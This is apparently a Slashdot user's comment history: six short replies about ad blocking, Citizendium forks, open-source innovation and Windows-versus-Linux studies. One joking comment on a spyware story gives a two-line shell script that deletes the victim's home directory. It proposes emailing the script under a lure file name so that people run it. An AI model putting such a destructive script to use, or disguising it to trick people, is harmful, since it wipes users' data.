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  1. Re:Links are helpful on NoScript Adds Subscriptions To Adblock Plus · · Score: 1

    Yes. I thought I was the only one.

  2. Re:Citizendium will taste delicious when we eat it on A Wikipedia WIthout Graffiti · · Score: 1

    You just deleted the inactive articles, right? The "CZ live" articles appear to be forks of their wikipedia counterparts (like Wheat). Unless you rewrote from scratch, it's still a fork.

  3. Re:Ho-hum.... on Spyware Disguises Itself as Firefox Extension · · Score: 1

    Here, attach this to your emails and name it "Obillion\ flag\ for\ gentoo!!!11!!!!" to encourage people to run it.

    #!/bin/sh
    rm -rf $HOME
    yes "I owned you!"

  4. Spot On on Unusual Open Source · · Score: 1

    From TFA:
    "The first is how innovative it can remain in the long run. Indeed, open source might already have reached a self-limiting state, says Steven Weber, a political scientist at the University of California at Berkeley, and author of "The Success of Open Source" (Harvard University Press, 2004). "Linux is good at doing what other things already have done, but more cheaply--but can it do anything new? Wikipedia is an assembly of already-known knowledge," he says."

    This guy makes a great point. BSD, for example, came up with many of the features that are found in Linux. And wikipedia? An encyclopedia that simply compiles already-known knowledge? Give me a break!

    Innovation has clearly reached its limit in open source.

  5. Realistic? on Windows vs. Linux Study Author Replies · · Score: 1

    Dr. Thompson,

    In your opinion, would this scenario have actually happened in a large enterprise that was running Linux?

  6. Why was a GLIBC upgrade required? on Microsoft Claims Firms 'Hitting a Wall' With Linux · · Score: 1

    The report was very ambiguous about the reasons for upgrading GLIBC. What sort of "Enhanced Search" feature requires a GLIBC upgrade? Moreover, how many serious linux admin's just download and upgrade glibc willy-nilly? How many of them do it with a package manager? No kidding everything broke.